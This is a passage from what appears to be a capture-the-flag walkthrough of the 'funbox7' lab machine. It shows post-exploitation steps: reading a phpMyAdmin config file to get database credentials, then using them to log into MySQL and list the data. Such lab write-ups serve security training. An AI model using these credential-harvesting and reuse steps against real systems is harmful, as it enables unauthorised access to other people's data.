DB Credential
www-data@funbox7:/etc/phpmyadmin$ cat /etc/phpmyadmin/config-db.php | grep -v '^#'
<?php
$dbuser='phpmyadmin';
$dbpass='tgbzhnujm!';
$basepath='';
$dbname='phpmyadmin';
$dbserver='localhost';
$dbport='3306';
$dbtype='mysql';DB credential of the target phpMyAdmin instance has been uncovered by PEAS; phpmyadmin:tgbzhnujm!
MySQL
www-data@funbox7:/etc/phpmyadmin$ mysql -uphpmyadmin -ptgbzhnujm!
mysql -uphpmyadmin -ptgbzhnujm!
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 7
Server version: 5.7.31-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.Connection established
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| phpmyadmin |
+--------------------+
2 rows in set (0.00 sec)
mysql> use phpmyadmin;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select * from pma__users;
select * from pma__users;
Empty set (0.00 sec)Empty